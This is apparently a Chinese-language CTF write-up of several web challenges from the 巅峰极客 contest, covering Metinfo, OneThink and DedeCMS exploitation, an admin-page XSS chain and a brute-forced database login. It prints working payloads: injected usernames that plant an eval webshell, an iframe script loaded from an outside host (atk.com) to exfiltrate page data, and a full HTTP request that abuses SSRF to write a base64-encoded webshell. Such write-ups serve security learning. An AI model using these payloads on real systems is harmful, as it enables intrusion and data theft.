前言
不得不说,一段时间不打比赛,竞技状态有了明显的下降
更可气的是,竟然打了一下午比赛就发烧了= =
哎,锻炼身体也很重要啊,废话不多说,开始补题
巅峰极客—pentest
这题猜到是Metinfo的重装攻击
但是试了删除方法不行,后来才知道是要利用file/file.php
然后就是常规的重装攻击
心态崩了= =
巅峰极客—A Simple Cms
不难发现www.zip
的文件泄露
容易发现是Onethink CMS
是用thinkphp框架写的
搜索后可发现已知漏洞
https://bbs.ichunqiu.com/thread-4918-1-1.html
容易发现,该CMS存在固定缓存文件名
2bb202459c30a1628513f40ab22fa01a.php
请求文件,发现文件确实存在,但是利用缓存漏洞进行攻击
访问该页面却没有反应
那么我想到的就是去查看相关的代码
找到1
./ThinkPHP/Library/Think/Cache/Driver/File.class.php
那么应该是这个文件被修改过了,于是和源代码diff了一下
不难发现,这里的文件名做了改动
于是我们将2bb202459c30a1628513f40ab22fa01a又进行了一次md5
得到最后的文件名
onethink_6d11f0be3af9c28d4120c8fd5fe65a40.php
访问缓存目录
/Runtime/Temp/onethink_6d11f0be3af9c28d4120c8fd5fe65a40.php
发现确实存在该文件
于是注册了一下%0aphpinfo();//
的用户名的用户
然后登陆
发现成功
于是进行getshell
注册两个用户1
2%0d%0a$a=$_GET[sky];//
%0d%0aeval($a);//
依次登陆
然后即可利用shell去获取flag1
/Runtime/Temp/onethink_6d11f0be3af9c28d4120c8fd5fe65a40.php?sky=system('cat /tmp/flag');
巅峰即可—Online Mysql Run
题目有2个功能
1.进行数据库的增删改查
2.可以让服务器去请求你输入的url
第一个功能遍历数据库无果,发现没有重要数据
但是关键点在于,数据库的查询结果会经过html输出在前端
那么如果我们查询的是带有xss代码的数据,是否可以触发xss呢?
所以尝试
然后使用
发现xss成功
那么选择1
http://xsspt.com/
打一下cookie试试
发现返回的referer里有地址1
http://127.0.0.1/admin_zzzz666.php
但是直接访问无果1
403: only 127.0.0.1 can find me, so you can get this: http://127.0.0.1/runsql.php
\
这里选择xss平台的源码获取
然后将生成的恶意代码放入以下evil_hex1
2
3
4
5
6
7
8
9
10
11
12<html>
<div>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1/runsql.php" name = 'form1' method="POST">
<input type="hidden" name="sql" value="select unhex('evil_hex')" />
<input type="submit" value="Submit request" />
</form>
<script type="text/javascript">
setTimeout("form1.submit();",10);
</script>
</div>
</div>
则可以得到页面源码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16403: only 127.0.0.1 can find me, so you can get this: http://127.0.0.1/runsql.php
<!DOCTYPE html>
<div>
<head>
<title>Online Mysql Run</title>
</head>
<div>
<h3>Admin Index:</h3>
![](./static/img/iamsecret_555.jpg">
I am l3m0n tree.
</div>
</div>
看来flag是1
./static/img/iamsecret_555.jpg
但是直接访问依旧是403
利用工具https://github.com/Lz1y/frame2canvas
可以获得图片内容
payload1
<iframe id="myIframe" src="admin_zzzz666.php"></iframe><script src="//atk.com/atk.js"></script>
同样进行16进制编码后放入evil_hex
然后即可在vps上的监听得到base64
解码得到
巅峰极客—BabyWeb
1.扫描端口发现3306开放
2.利用hydra爆破,得到密码1q2w3e4r5t6y
3.连入数据库后可以找到账号密码BabyWeb@my.lol/babyweb@1990
4.登陆后就是bypass upload 去getshell
这里用到的是上传.htaccess
的常规操作
上传.abc结尾的后缀即可被解析为.php
于是可以getshell
巅峰极客—DedeFun
题目描述
所以显然是要想办法XSS或者SSRF去伪造127.0.0.1的
因为$_SERVER['REMOTE_ADDR']
是不可伪造的
其中1
uploadsafe.inc.php
使用了getimagesize()
来判断图片
其获取文件的size,获取不到说明不是图片或者图片不存在,不存就exit upload
那么可以尝试
让其去请求一个外部链接
即可导致SSRF
那么利用这个ssrf漏洞,即可去getshell
构造恶意代码1
<?php eval($_POST['c']);?>
然后base64一下1
file_put_contents('uploads/userup/666.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbJ2MnXSk7Pz4xMjM='));
再base64一下1
2
3
4
5
6
7
8
9
10
11
12
13POST /tags.php HTTP/1.1
Host: 106.75.35.230:9002
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KH TML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=3mkbktjhmk7j444or2m71g9ce4
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 308
dopost=save&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif&_FILES[b4dboy][tmp_name]=http://127.0.0.1/1.php?a=assert%26b=eval(base64_dec ode(ZmlsZV9wdXRfY29udGVudHMoJ3VwbG9hZHMvdXNlcnVwLzY2Ni5waHAnLGJhc2U2NF 9kZWNvZGUoJ1BEOXdhSEFnWlhaaGJDZ2tYMUJQVTFSYkoyTW5YU2s3UHo0eE1qTT0nKSk7));
即可getshell
后记
挺有意思的比赛,除了自己菜没什么好说的,可以学到不少东西
继续努力Orz